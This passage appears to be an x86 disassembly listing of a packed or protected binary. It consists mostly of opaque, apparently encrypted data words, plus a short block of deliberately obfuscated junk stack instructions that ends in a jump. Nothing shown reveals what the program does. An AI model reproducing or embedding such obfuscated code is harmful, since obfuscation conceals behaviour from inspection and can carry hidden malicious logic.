68FFFAACh dd 60CDF29h, 0FAACBCE9h, 0E05268FFh, 0B2E9060Ch, 0ADFFFAACh dd 0B2105C00h, 0B81662F0h, 0BB1965EFh, 0C3216D0Fh, 422C78FCh dd 9321E821h, 9B21E947h, 0A52BF14Fh, 0AC38FB59h, 0A372ED60h dd 0F000A890h, 0DB0AEECDh, 2CD27E18h, 8CB29DCh, 7D41307Ch dd 4B1270EBh, 19940FC5h, 0B86BF9BBh, 1F1EED68h, 40F60C67h dd 356B3AF0h, 82FC136Ah, 81D15B24h, 6530FFCEh, 13B6F00Bh dd 2CAA6C3Bh, 37EA99CAh, 6000000h, 79F4744Ah, 13752AAAh dd 702373FCh, 0B6A9EA1h, 7FDD58F0h, 23100B9h, 5BF00B6Ah dd 6205BB0Bh, 3BF9BBC8h, 0C64199CAh, 0B7E44F7h, 13C919F0h dd 0D490h, 0FBBEAC00h, 0E2AC1CD9h, 14722831h dd 0B210C351h, 27EA65EBh, 7D1B8F5Ch, 6225832Eh, 0F6D20D6h dd 920DC04Ch, 30E37134h, 9CC2AE0h, 0C8602F7Bh, 0B9F60C39h dd 0C01E6AF6h, 0C67544FDh, 97F60C36h, 5544F747h, 0B584FF69h dd 0FC13C95Fh, 991460B0h, 726A21D6h, 9C526EACh, 0DC5711ADh dd 11B34A0Dh, 0B0773AFAh, 2AF7E765h, 0C1119B63h, 66E1310Bh dd 92A170EBh, 0CBF60222h, 0A067C57Bh, 0EF4DC814h, 9BEB9E26h dd 34C087E5h, 0CC2E59D5h, 0E43AEDB4h, 111Ah, 479339E6h dd 4D9927E9h, 529E26EFh, 5AA648F4h, 63AF35FCh, 581F5879h dd 5A2280CCh, 642A88D4h, 713492DEh, 0A92497E3h, 0B65BDAh dd 412504F0h, 966514DBh, 0F60C67A7h, 0CC1868B8h, 0D11DAB6Eh dd 0F4744AEDh, 0DDA0FE79h, 0A428F14Fh, 75BD1FEEh, 92E2FC13h dd 6A2110DFh, 24C7F00Bh, 3BBB7D0Ah, 400399CAh, 0AE635714h dd 0FB7E340Ch, 0C3h, 8C18DB17h, 30B47BD9h, 6B9AAE7Dh, 0A467F60Ch dd 0AB6ECC18h, 8144A21Dh, 9B8A3DF3h, 6CCA4523h, 0E86319A3h dd 139BC319h, 90DC2CFCh, 64F0B715h, 0BCAB61B1h, 58F5802h dd 37B20252h, 0D9B5EBCh, 3CC28857h, 1B96FA11h, 2F3E94Ch dd 702676F6h, 50CB4696h, 2F3B281h, 0A55BABF6h, 7F05CC2Ah dd 740ED533h, 0C24C14ACh, 1F6FBF0Fh, 0CBDF78C0h, 55B0EB4h dd 1032h, 2F7B21CEh, 35810FD1h, 3A860ED7h, 428E30DCh, 4B971DE4h dd 40074061h, 420A68B4h, 4C1270BCh, 591C7AC6h, 910C7FCBh dd 0B673C2h, 290DECF0h, 159014DBh, 83775052h, 540A6FD8h dd 59E7AA08h, 0DCCF920Dh, 45162B70h, 0BE4226DCh, 55019D60h dd 64B467B7h, 0F18D50AEh, 9E51A12Fh, 18E17D40h, 0A381D021h dd 3888FF82h, 99E53585h, 37EA723Bh, 3E8A16D9h, 179D65C3h dd 0A55E1464h, 0A6C2FC14h, 0BC385C2Bh, 66C4FC13h, 815B119Fh dd 83AD7C31h, 0BFEB914Ch, 1FEE69FFh, 0D9E9DEDh, 29870252h dd 5DE0AF66h, 2018692h, 0F9AC62B2h, 0CE58207Eh, 2615CB1Bh dd 0DA55D098h, 92AD905Fh, 62B20186h, 2D4EDDACh, 5FAF0B9Ch dd 35C386E4h, 0CD703FBAh, 92078CE2h, 0E2408C42h, 1032911Fh dd 0F6C359EEh, 0F4CED43h, 7B40000h, 0F9BB1965h, 0F8C11F6Bh dd 1ECA2874h, 0FD63480h, 2A4B3581h, 5AA62AF1h, 5EAA34FCh dd 60AC3A00h, 65B13F02h, 95A877F2h, 0CAF000B5h, 18DB07EBh dd 0D4EAD98Ch, 4C561994h, 578C8753h, 27DA8430h, 56D187D7h dd 13EB9987h, 490F6DFCh, 0DB2B05BBh, 2E029D60h, 466B8095h dd 69554490h, 0B3B584FFh, 4FA145Fh, 0A457DDA6h, 82510454h dd 0F60C40BFh, 23D67824h, 0C477FDC5h, 36B58D30h, 0A3F04AEDh dd 93C355E1h, 6C21h, 744A3D00h, 31AA79F4h, 0F9FC13B3h dd 9C4FD59Bh, 39BF0D9h, 0C1119FCFh, 0BD3310Bh, 0EC489B0Eh dd 3D8D5EEDh, 34F772EDh, 0A7880307h, 76A06357h, 0AFB012Eh dd 0E7AD0BC1h, 0FD3E0D59h, 0C5F00BEEh, 0EEB87B4Ah, 2AA5F00Bh dd 0BEED85Bh, 0E53585F0h, 8336BE87h, 5C1F7D33h, 602684D0h dd 0E1A41FD2h, 23029CEFh, 0DB31E785h, 0E56h, 0F4744AF7h dd 3750AA79h, 69B9FC19h, 521573EEh, 0EFB210C6h, 0D79A1561h dd 5E58273Dh, 0D836EC49h, 0E5D48715h, 45148FD9h, 0FA15408Eh dd 99148FDFh, 35EB793Bh, 3C8814D7h, 128D1BDEh, 0DF75C897h dd 7A49F60Ch, 0F60CDFBBh, 2A7A54A4h, 0ECD2C174h, 0AE32017Ch dd 0F7FC132Fh, 0DD0448A7h, 0EFA2AED2h, 0DF199h, 0BA620F00h dd 0C04E106Eh, 0C74D1674h, 0CB711D7Bh, 0D65A217Fh, 3E7FA08Ah dd 3F9DE977h, 43A1ED77h, 4DABF77Dh, 3FB2FE8Ah, 0B346F5C4h dd 3817F000h, 67C76A54h, 437BF60Ch, 602FAA25h, 0F60C67DDh dd 17C3282h, 0D7652886h, 36935221h, 9CECFC19h, 7400C321h dd 7907CA28h, 27ED4BC6h, 0A99C9F6Eh, 71C1F000h, 427C6B21h dd 0EEB74F18h, 1363B366h, 977948C3h, 0FA1FB3h, 990551B0h dd 16C9B4CEh, 0D6DC0h, 46E69300h, 4CDA9CFAh, 53D9A200h dd 5FFDA907h, 62EEB513h, 0D20B2C16h, 0DB39850Bh, 0DF3D8913h dd 0E13F8B19h, 0D346921Eh, 0B3AA8958h, 0D4B3F000h, 8C18DBF0h dd 2CB87BD9h, 27FFA279h, 0C32A9658h, 753D693h, 0E05B0000h dd 0C6F2211h, 35EB3BF6h, 0F4744A51h, 36E6AA79h, 308EFC19h dd 4F29DF6Dh, 0AB0984FFh, 49A75DFFh, 33AEFA86h, 0CF820ED5h dd 0A9B68554h, 57A7F000h, 30F35107h, 1F22F1A4h, 33F000A9h dd 0E762DD8Bh, 662DC189h, 5D48ADAh, 0FA1FB31Bh, 0D48F28EBh dd 97625308h, 58B707E1h, 0B4CF1C08h, 0C3B50BBEh, 3D00000Ch dd 42A0EC90h, 48A6F280h, 4BA9F57Fh, 53B1FD9Fh, 0D2BC088Ch dd 23B178B1h, 2BB179D7h, 35BB81DFh, 3CC88BE9h, 33027DF0h dd 0F000B200h, 0DB9A7E5Dh, 5ED98C18h, 0F8AB3900h, 0D194F2A8h dd 0BE6AC843h, 0E0B76A20h, 0D496E53Dh, 1493C32Ah, 69Dh dd 67C76A30h, 437BF60Ch, 75DBAA25h, 1FC1936h, 45BBF23Eh dd 262545D2h, 0D4767177h, 2C06BC0Ch, 0A36C08CEh, 0C616C919h dd 8CB97C4Bh, 56A6F000h, 6A2D8B06h, 0B91792DEh, 58B66CF0h dd 2E8C0795h, 0D727DA68h, 3F7F6E21h, 0CFEBAE29h, 73B9BE51h dd 0AA56BA7Dh, 0D02F2AA9h, 40D09F1Ah, 0D5FA1F30h, 1B442685h dd 2FE2B4CFh, 0C05D9h, 0AE4EFB00h, 0B4420462h, 0BB410A68h dd 0C765116Fh, 0CA561D7Bh, 3A73947Eh, 43A1ED73h, 47A5F17Bh dd 49A7F381h, 3BAEFA86h, 0B142F1C0h, 3C1BF000h, 8C18DB58h dd 1EB87BD9h, 0C717CA58h, 0BA66C477h, 40036114h, 0E68901B4h dd 15B88F4Ch, 2AAC6E3Dh, 0DAEC93C3h, 8000005h, 9860BEh dd 0ACFCAF3Dh, 7B7A65Ch, 3217E661h, 87FC1936h, 0C641BC37h dd 0A944F7h, 13C919F0h, 1A66F2B5h, 0F06BF9BCh, 9346CC92h dd 97E76D35h, 0D05F2EE1h, 0E4F000A9h, 0A99B9A69h, 74C4F000h dd 79EFCFBEh, 0B3212FFEh, 5AD5FA1Fh, 7BCA88Bh, 0F64514F6h dd 67F607BCh, 37ED3D17h, 0C6AE0D5Dh, 44B4CE98h, 0B443B91h dd 0FBC0000h, 1C3216Dh, 0C92773h, 26D2307Ch, 17DE3C88h dd 32533D89h, 62AE32F9h, 66B23C04h, 68B44208h, 6DB9470Ah dd 8DB07FFAh, 0D2F000B1h, 18DB0FF3h, 0B87BD98Ch, 9153B12Ch dd 4A005003h, 0EF8D3997h, 8C32DE3Ch, 642B89D9h, 6757E6B5h dd 0B808F60Ch, 50F3B568h, 7F22F9F6h, 2B16D8A7h, 5E93C3h dd 4EDA9D39h, 2C548FEh, 0E1000005h, 0C67CA6Ah, 0CB94F2F6h dd 883E8E41h, 0C8432599h, 0C220BE6Ah, 71C174FAh, 67C540BBh dd 116114A0h, 369A8C5Bh, 8FDFFC19h, 65F3B614h, 3EE08CEAh dd 39853B8Bh, 0E9860BEh, 0A937FA58h, 0B1B707F6h, 4EB56736h dd 9AEAFA1Fh, 0CE9E433Bh, 0D228DBB4h, 0A82h, 0DF2BD17Eh dd 0E531BF81h, 0EA36BE87h, 0F23EE08Ch, 0FB47CD94h, 0F0B7F011h dd 0F2BA1864h, 0FCC2206Ch, 9CC2A76h, 41BC2F7Bh, 0B0C372h dd 0D9BD9CF0h, 0D98C18DBh, 792CB87Bh, 13793CB7h, 4D606660h dd 0F0839DB3h, 0EC3C75BEh, 2EBB9336h, 8E5C6A6Bh, 3B9DBDAFh dd 3DFF9FEBh, 7D93C3C9h, 13Bh, 7443BE99h, 0F60C67C1h, 0B5AAE2B5h dd 0A47E8088h, 7D409E54h, 1BDE3CEFh, 6C52418Dh, 4C9C42EEh dd 56CE02D1h, 0E737FC13h, 59DA6534h, 791CF00Bh, 0D199F7A1h dd 0A024ED4Bh, 68884AEAh, 0DD099CAh, 99A36E7h, 9417CD18h dd 2Ah, 0F4744AB0h, 752AAA79h, 2373FC13h, 6A9EA170h, 0DD58F00Bh dd 6AA09362h, 6DBDF00Bh, 6D3A14B7h, 99CA3BABh, 0B1EBh dd 18DB0700h, 47613419h, 743CDBA0h dd 97E737EAh, 3BEE7239h, 8AE89BEBh, 0F8A3DC3h, 0AE61EFB1h dd 874AA85Eh, 34037EF9h, 0F60C8301h, 4A144775h, 5A347E8Eh dd 43A1540Ah, 0D9A8F480h, 0F60C2B5Fh, 0E733C184h, 27A2C6F8h dd 16821458h, 420B69FCh, 67B707BAh, 3FC58EECh, 0B863C8Ch dd 0E5AE6ADh, 0FC5BE9B0h, 0AED1398Ch, 3F99EFA2h, 0C1000009h dd 0CE2C7814h, 0D4327E0Ch, 0D735810Bh, 0D735812Bh, 4E388410h dd 9F25EC2Dh, 0A72DF553h, 0A937FD5Bh, 0B03CFF5Dh, 0A776F164h dd 0F000BF94h, 0DB06EAC9h, 7FC21D14h, 3A738CD5h, 3A8A14DCh dd 3FCD90EEh, 18DB0FF3h, 0B87BD98Ch, 1A8AE02Ch, 0F000003h dd 0B164E8B1h, 4AC7AB61h, 0AA79F474h, 0FC136C6Eh, 0E5B467B7h dd 0F00B635Ah, 5221F99Ch, 99CA3290h, 2A4D0h, 0CC6AEC00h dd 0F4F60C67h, 678BAA79h, 84D4F60Ch, 67FB3A09h, 1464F60Ch dd 194F6F5Eh, 0D9A8239Eh, 0F60C675Ah, 2EFDB303h, 0FC19363Ah dd 0FDC03B8Bh, 2FF0FCA5h, 9A15CB45h, 9FEB793Ch, 3A7F7E41h dd 0C5F60D20h, 0A76C5114h, 0B2A9389Fh, 7134AF62h, 0EC36AF53h dd 75641A2Eh, 0D5A41F49h, 0FA1FEA07h, 9D2ED598h, 93BAED69h dd 0AEAEE443h, 0A558B4CEh, 8554Fh, 5EFEAB00h, 64F2B412h dd 6BF1BA18h, 7715C11Fh, 7A06CD2Bh, 0EA23442Eh, 0F3519D23h dd 0F755A12Bh, 0F957A331h, 0EB5EAA36h, 0BE92A170h, 0ECCBF000h dd 8C18DB08h, 2CB87BD9h, 0CF551B79h, 69F7BE1Ch, 0F951F4B6h dd 0BD9538FAh, 64DF6D30h, 0FCB24006h, 2F4E10B0h, 0D68E93C3h dd 13000001h, 6B6AC998h, 0A3F3F60Ch, 18DB09EDh, 0B87BD98Ch dd 67033201h, 0C5CF60Ch, 3D8170BCh, 0AFE1B02Bh, 18FC136Ah dd 1D6DF3BAh, 0C991EF6Ah, 8A409043h, 0B6574BBh, 7CF772F0h dd 0B658EADh, 0C97FCFF0h, 0BD7F0C26h, 0FD99CA2Ch, 5Ah dd 5380782h, 5AF00B6Dh, 4A70540Ah, 1B79F474h, 0CD1DD054h dd 67B08352h, 5DADF60Ch, 7F5D2CA7h, 0A0FC1375h, 5F229D50h dd 0E1238BD4h, 0A864B46Ch, 999F6733h, 7DC49349h, 66F00BB6h dd 15F12A0h, 83FFB23Eh, 408946E0h, 0BD1B859Dh, 19B96FF5h dd 99CB0057h, 0FE97h, 18DBB300h, 5ED98Ch, 9AF8AB39h, 43F949D7h dd 0BB841EE5h, 34037E31h, 0F60C6701h, 6EBE0E5Eh, 0E9A5DBBh dd 833AFD5Bh, 0C6781B4h, 0A985AF6h, 0DD2D0757h, 3672418Dh dd 0FBF60CBAh, 0D331AC38h, 82CE8410h, 0C23D2B93h, 5D358447h dd 9CAE6602h, 0B73BA4D9h, 6D23E6E5h, 16B56E9Eh, 47FCFFCh dd 0B8DEDFA6h, 3562CB65h, 2BB068B5h, 0E838B1D2h, 0DFA21D98h dd 5F245AD1h, 61D4A30Bh, 0FEF00526h, 4EACF8AEh, 9C28EB87h dd 0EA4999E9h, 0AED132B2h, 0BF5FB568h, 41000006h, 4EACF894h dd 54B2FE8Ch, 57B5018Bh, 57B501ABh, 0CEB80490h, 1FA56CADh dd 27AD75D3h, 29B77DDBh, 30BC7FDDh, 27F671E4h, 0F000BC14h dd 0BE866A49h, 0E918043h, 9BAAEFD6h, 0CB669CCh, 24AA72F6h dd 9923EC4Ah, 0E84696E6h, 7EDC923Ch, 50AE29B7h, 0FC4CFF8Dh dd 0D99CFA46h, 2684FF4Bh, 0E00ED15Fh, 478B351h, 0DBF0D48Ah dd 2DBB7E18h, 0E0AF2A7Ah, 0F60C675Dh, 0E762B202h, 4110C189h dd 0F60C67F2h, 15CB1B6Bh, 9D6CE762h, 0F60C679Eh, 5BB96FBFh dd 6AC00C98h, 51h, 1918DB86h, 0D6D66883h, 0A924747Ah, 0E5BF92E6h dd 3FF5126Fh, 0DD6B2E8Ch, 2518E762h, 3AF60CC9h, 238134EAh dd 0C624D75Dh, 60BE71FFh, 0ED900C9Ah, 7B1E9655h, 0AF7EF9A3h dd 0F60CC98Ch, 0B48756D1h, 0A9F60CC9h, 0F5530959h, 45AA632h dd 22h, 8C18DB20h, 67260AD9h, 0B659F60Ch, 0F48E519Ch, 854A432h dd 0E06C2F8Dh, 67A79665h, 68B8F60Ch, 18DBCEB2h, 0D4EAD98Ch dd 304A1994h, 99FC1937h, 4C0BCE49h, 8E43FB5Eh, 0D424B077h dd 8245A31Eh, 894CAAF6h, 6FCD48FBh, 1C6C1FADh, 13477766h dd 0A86AC84Ch, 0C717671Ah, 0FEC67D4Ch, 0AC27FA15h, 0C615EDDh dd 5FAFFFF6h, 27C386E4h, 7B01C965h, 752878C8h, 975AD525h dd 0E999B6FEh, 0CB91EF72h, 0E5438F45h, 0A01B9622h, 0C4662D1h dd 0F5ABFBF6h, 0A069C742h, 4777661Ch, 0C9D7A621h, 5EFC13B6h dd 65F7AF0Eh, 5C0FAED3h, 52906h, 822AD700h, 8816D836h dd 8F15DE3Ch, 9339E543h, 9E22E947h, 6476852h, 765B13Fh dd 0B69B53Fh, 1573BF45h, 77AC652h, 0BB7EBD8Ch, 0DFF000h dd 7443BE1Ch, 0F60C67C1h, 3A984E9Eh, 106EE977h, 0BC0CBF4Dh dd 995CBA06h, 4615900Bh, 0F60C67F7h, 9EFEA568h, 0E4FE1E79h dd 0B02BDE94h, 4B018F52h, 0EB9E2AEDh, 8C3FC58Dh, 0A66C652Eh dd 0AC40D909h, 65C376C6h, 0F79A16A2h, 63DEA05Fh, 851A19E8h dd 0F343F60Ch, 18809A3Dh, 9837155h, 0B909BC40h, 499FBDF6h dd 0E6723593h, 838FA9Ah, 557893C4h, 94000000h, 20E6744Ah dd 0F8C74292h, 0FC13B3FFh, 86329154h, 0F2007465h, 0E9AC27A2h dd 2FBCB1C9h, 0DF3DF322h, 703F8B19h, 0F00B39CFh, 0B94C4D10h dd 0BC7F4E00h, 0A1F00BD8h, 0BAF88E51h, 0C4226EBEh, 82FD78FEh dd 0BE280B3h, 0D9359F0h, 0E0300A5Ah, 3321772Ah, 3D000004h dd 0C9A60BEh, 7C35F856h, 0C678EADh, 217FCFF6h, 782D25Eh dd 0E25DE3A9h, 0C672013h, 37ED3DF6h, 0D5632684h, 2D10DF5Ah dd 0AEF60C67h, 5AAA5DEBh, 2E7A3080h, 6EE97F3Fh, 136A619Fh dd 0B86D6FCh, 0AA60E4ADh, 651928F7h, 3CDFF00Bh, 2CD395E2h dd 2A1399CAh, 2F000000h, 79F4744Ah, 81B483FEh, 0DEF60C67h dd 8B09D88Eh, 14FC1375h, 0FF4211C4h, 0F9F00B6Ah, 0EDAFFC56h dd 2D99CA3Bh, 126h, 36FBBE49h, 102F0985h, 0FEC11FD5h, 0B7AB70FFh dd 67B79051h, 18F56B4h, 9F2DF04Eh, 3DCB8EECh, 4902FFC2h dd 106FCE9Dh, 0A0F0F60Ch, 19175BDDh, 0E0481763h, 0B4F60CC2h dd 53069456h, 2CEF4D03h, 1018852Dh, 0A46BBE41h, 0CD1D6D20h dd 10D3317Dh, 0F856D184h, 0A4F4A735h, 36BFFFEEh, 0D0979161h dd 7E419144h, 0A0F030AAh, 0B7E7AA25h, 0E50DBEF1h, 944413C9h dd 1FC1350h, 11D836B1h, 0CA80D083h, 392F8F7Eh, 0EBB3EFBEh dd 0C818FA11h, 0AB74D24Dh, 460D6B21h, 0F5C43FBAh, 0F6023446h dd 0C511C717h, 11A1A067h, 0DC766435h, 733D9CECh, 7B4CB99h dd 2FCFE54h, 57040000h, 490B69B5h, 48116FBBh, 6E1A78C4h dd 5F2684D0h, 7A9B85D1h, 0AAF67A41h, 0AEFA844Ch, 0B0FC8A50h dd 0B5018F52h, 45F8C742h, 1AF000B8h, 43BE573Bh, 0C67C174h dd 0F04E9EF6h, 9BEB9E28h, 9C087E5h, 677CBF8Eh, 91E1F60Ch dd 0C6773C2h, 4C9CECF6h, 51DFA200h, 0E63F13D6h, 2B3DB00Eh dd 0C14D95Ch, 0E63686F6h, 0B69E430h, 0B808BB49h, 744A1E02h dd 2AAA79F4h, 73FC1375h, 9EA17023h, 58F00B6Ah, 30BC7FDDh dd 0D4772D7Dh, 3C6B2D7Ah, 0ECAB99CAh, 0C7000000h, 926118DBh dd 0F60C67A3h, 33E67038h, 69B909E3h, 62C03BB6h, 0E5E119Fh dd 0C67FC3Fh, 961161F6h, 0C6774C7h, 0E399E9F6h, 7F32BE85h dd 0C6B98B0h, 0A7A669F6h, 9242C133h, 0BC0858C2h, 5A0D9B5Eh dd 0A69564DFh, 33F60C9Ah, 0E131E470h, 1201B707h, 5AE8AEACh dd 45148F0Ah, 0F60C9AF6h, 0E6611767h, 13764117h, 3A86D6FCh dd 7AF5734Bh, 11D1D4ABh, 56D121FAh, 23247493h, 12DA8722h dd 0B863C8Ch, 0E5AE6ADh, 0FC5BE9B0h, 0B4CBCEBEh, 0D34FA558h dd 2D000001h, 3290DC80h, 3896E270h, 3B99E56Fh, 43A1ED8Fh dd 0C2ACF87Ch, 13A168A1h, 1BA169C7h, 25AB71CFh, 2CB87BD9h dd 23F26DE0h, 0F0008710h, 0BE8A6E4Dh dd 67C17443h, 521AF60Ch, 0ECA2F2CCh, 3F0EC78Eh, 0F60C67FCh dd 75C11161h, 4DC85417h, 0EA9D27EFh, 0E9733C9Ah, 0DB03E733h dd 7BD98C18h, 82E02CB8h, 8F7E31BFh, 0EFBE392Fh, 0FC139651h dd 0FA356A6h, 27EAD26Ch, 0E1A31837h, 8D50A053h, 0BF82BF44h dd 548A233Bh, 86E49AFBh, 5CBA35C3h, 0A560C9Ah, 4AC5A31Bh dd 27C571CFh, 9F6E2474h, 0FA144B4Dh, 78D54B2h, 0E3A604B7h dd 872AA255h, 554205AFh, 0D1A39647h, 0FCC2B167h, 0C222F16Ch dd 3BFC13A2h, 7E419FEBh, 9BCCCC7Fh, 4D9D805Bh, 7D763C9Ah dd 1C6DDF1Ah, 0F8ADA50h, 9F65704Ch, 0CD9CFF41h, 0F00BDA6Eh dd 994F9FEFh, 97AF52E6h, 0ADF9874Ah, 0ED6800BEh, 142B021Eh dd 29F873FAh, 0F60CF40Ah, 0B30353h, 0CB00C285h, 0D2493053h dd 6DFBBE1Ch, 0D5CE94F2h, 0ECE398B0h, 984E9E54h, 94AE51E5h dd 8C5406B8h, 6837B202h, 0FC1395C8h, 0B2A1ED3Dh, 12E15C0Ch dd 0FA1E1AF0h, 6E6A2DA8h, 0E5E3A127h, 0BFEB4A19h, 2474F607h dd 9144946Eh, 69E47033h, 0BF1C1FEEh, 0F141F607h, 0CE91EF3Bh dd 0EAC08F42h, 0B15647AFh, 8412D836h, 28CB81D1h, 8648A60Eh dd 3FF545F8h, 0BD841EE1h, 0D6348437h, 83D38614h, 74F5B833h dd 434E9F1Ch, 2C8AD68Ch, 0CA28DB69h, 0B58B0D1Eh, 4562C1B6h dd 5A4A1982h, 0D020C35Ah, 280BDA55h, 3596479Dh, 1E7C2FE5h dd 0BD1BCE5Ch, 6DBD70F4h, 0BBE460Fh, 7D7AD477h, 0E1EC46E9h dd 0E846921Eh, 3CC08925h, 3E339ECh, 0FF000000h, 2EDB694Dh dd 0BA7DDB8Eh, 571D7B2Eh, 0F0B816C9h, 8E55B366h, 2AF14F02h dd 0E995F3A6h, 69329043h, 10D230E3h db 82h, 0CFh, 7Eh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx push 159Fh mov [esp], esi push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], edx push 60CCFD2h mov esi, [esp] add esp, 4 push esp mov edx, [esp] add esp, 4 sub esp, 4 mov [esp], ebx mov ebx, 8 add ebx, edx mov [ebx], esi pop ebx mov edx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp mov esi, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_5438DD ; --------------------------------------------------------------------------- db 7Eh dd 1BB639CEh, 4AB8C75Eh, 3060CE2h, 0D7E0FFC5h, 0A747227Ch dd 5329A9F9h, 364F69Dh, 0C708051h, 0BB05A06Eh, 6E37DA66h dd 0C91464E4h, 6D3BB20Ah, 0E8359999h, 0Ah, 93B99289h, 0C690C5CAh dd 8C0F8B36h, 3, 5BF7BF0Fh, 5C08C381h, 0B9FC0000h, 0 dd 0DB816660h, 0CF81368Eh, 7B3ED276h, 0B048B61h, 28FABA66h dd 0E938E881h, 0CA81267Dh, 4E6BF7E1h, 7091C081h, 9E85910h dd 0E4000000h, 83B40A86h, 0C2ACD66Ch, 0AAF0815Eh, 6654CDE6h dd 489F38Bh, 0B8BF660Bh, 4E9835Ch, 0A490F981h, 850FFFFFh dd 18h, 6E9h, 76985100h, 0E9815E8Dh, 18h, 0C8C5B238h, 0AFB719DCh dd 3BF7BF66h, 0FFFF98E9h, 7599D8FFh, 5A7F51EEh, 0E43D8D8Dh dd 0BF0F060Ch, 18D89D8h, 106070Ah, 70C2DBDh, 0A585C706h dd 44060714h, 6A00005Dh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 18042444h, 47000000h, 22F9C357h, 60587794h dd 0EAE3EB81h, 61F812F7h, 2FD585C7h, 607h, 0BEFC0000h dd 172C7DACh, 319B5FFh, 870F0607h, 6, 1D19958Bh, 0EBBA0607h dd 0FF7910FFh, 71C1995h, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1404h, 0C3504000h, 998589A9h, 6A060713h dd 6995FF00h, 8B06071Bh, 0F32CEBC0h, 0A1C3F032h, 8F255D9h dd 0E57777C9h, 38DBDA37h, 9DE3516Ah, 2EE8FB4Fh, 0DAAFB380h dd 637247A3h, 699B9906h, 0AA0098EBh, 8DABABE1h, 0CE53D8Dh dd 3840F06h, 0F000000h, 8D89F2BFh, 6070A01h, 1890Fh, 0C7F50000h dd 714A585h, 5DC006h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1C04h, 0C3504000h, 85AF645Dh, 1CBB6A9Ah dd 0E88166C8h, 85C79B03h, 6072FD5h, 0 dd 0BFF366B8h, 59B5FF1Dh, 6A060727h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 0A32C351h dd 7A4B55B8h, 1C1995FFh, 6A0607h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1D0424h, 51410000h, 0A6DA18C3h, 0C36A72ACh dd 0E83AD7E3h, 0Ch, 0AE18CBE4h, 0E4CEC327h, 395576D0h dd 599F681h, 6A5F50CFh, 6995FF00h, 8B06071Bh, 9E0FEBC0h dd 2DFDABA3h, 5AAF332Eh, 23013B74h, 9E85906h, 16000000h dd 0CDA3A83Eh, 0EF8F22C2h, 32699533h, 0E95E0607h, 8, 19E8FC95h dd 6937DA6Bh, 5B5AC681h, 0CE800000h, 0BB44h, 958B0000h dd 6072D05h, 0F1E048Bh, 48Ch, 0A1B96600h, 0BCF08198h, 0B15483B4h dd 0B1E88174h, 8B55685Ch, 72D2995h, 5AE88106h, 8B757FF6h dd 7165995h, 0B5295006h, 607133Dh, 0BA1E048Fh, 68C40C8Eh dd 68A0Fh, 958B0000h, 60720A9h, 8904EB83h, 70F8995h, 60FB8106h dd 0FFFFFA5h, 1885h, 45858900h, 0E9060726h, 25h, 5B0824C0h dd 54AF8D81h, 0F57F720Bh, 68C0FC5h, 89000000h, 721ADBDh dd 0FF7AE906h, 0C9C9FFFFh, 5711D1A6h, 79EB1Ah, 8CEF9E7Dh dd 0D60FE221h, 979FABAFh, 0E37C4DB2h, 720095B7h, 0B5E9A9E5h dd 609BB69Ch, 0A9B6F377h, 609EB794h, 897D60D7h, 8C9EA9BDh dd 0E3729EBDh, 204A95ACh, 7E9BB98Bh, 0B99D8993h, 96AFF496h dd 0B594A19Eh, 0FD91A7D6h, 0CC48D100h, 3C33594Ah, 4D520071h dd 5EF357DBh, 0B79BB7D6h, 0ABAFF600h, 9F8995h, 0C77156F0h dd 0BEB3D7h, 0D7567118h, 73E2ADC4h, 374E05FAh, 104AE9h dd 0E8546800h, 0E6E9060Ch, 68FFFA95h, 60CE987h, 0FA95DCE9h dd 0EA4F68FFh, 0D2E9060Ch, 68FFFA95h, 60CEBD1h, 0FA95C8E9h dd 0EC4B68FFh, 0BEE9060Ch, 68FFFA95h, 60CED0Eh, 0FA95B4E9h dd 0EDB668FFh, 0AAE9060Ch, 68FFFA95h, 60CEE7Fh, 0FA95A0E9h dd 0EF4068FFh, 96E9060Ch, 68FFFA95h, 60CEFF1h, 0FA958CE9h dd 0F12468FFh, 82E9060Ch, 68FFFA95h, 60CF3D8h, 0FA9578E9h dd 0F4B868FFh, 6EE9060Ch, 0F1FFFA95h, 0FE5CA844h, 462AE3Ch dd 765B13Bh, 765B15Bh, 7E68B440h, 0CF551C5Dh, 0D75D2583h dd 0D9672D8Bh, 0E06C2F8Dh, 0D7A62194h, 0F0008064h, 419F1AF9h dd 38FBCA7Bh, 25F00080h, 0EBCF85D5h, 0D98C18DBh, 22B9B87Bh dd 0BE757Bh, 58E35221h, 2C7CF60Ch, 2AB87EDCh, 1F9F8EDAh dd 0C1FFCE49h, 36FC1355h, 0DD6433E6h, 1BF00B5Ah, 0FD1DE78h dd 4F99CA68h, 34h, 0F4744A6Bh, 752AAA79h, 74D2FC13h, 1E6E21ABh dd 6A61D4A3h, 0AEFEF00Bh, 1BCE1EF8h, 0B6AE54Ch, 0C66003F0h dd 0CA3BF7B9h, 0DD3799h, 5EBC0000h, 70540A98h, 0D9760BEh dd 0AA36F957h, 32017CF7h, 0F60C6703h, 2312E15Ch, 3CF60C67h dd 88E69CECh, 228033C1h, 0C01ED15Fh, 0C67544FDh, 97F60C67h dd 30ABF747h, 0D0860CD2h, 0C6B2701h, 0AD490CF6h, 5CAC5FE5h dd 9F62C00Ch, 85E35E11h, 0BB7E31BFh, 9CC8E775h, 48FE4E43h dd 88036559h, 13D9A3B9h, 70BC0CFCh, 0B02B3D81h, 116336E1h dd 940F5FFAh, 82035619h, 0AB6EF2B9h, 974D27ABh, 0A2EE7239h dd 5EDDAC27h, 0FFF60271h, 0D49BF9AFh, 7495F150h, 0C679B4CCh dd 0DB870h, 0DA822F00h, 0E06E308Eh, 0E76D3694h, 0EB913D9Bh dd 0F67A419Fh, 5E9FC0AAh, 5FBD0997h, 63C10D97h, 6DCB179Dh dd 5FD21EAAh, 8F2615E4h, 5837F000h, 9014DB74h, 9523E644h dd 7583571Ah, 8960F5D2h, 4AA387D3h, 0AA79F474h, 0FC13752Ah dd 0F5702373h, 9046CE97h, 0B6A7EC1h, 7DD578F0h, 0E8559053h dd 8E0E5802h, 5B7638D8h, 0DB699CAh, 3B000001h, 4AB04D78h dd 0E14A2C3h, 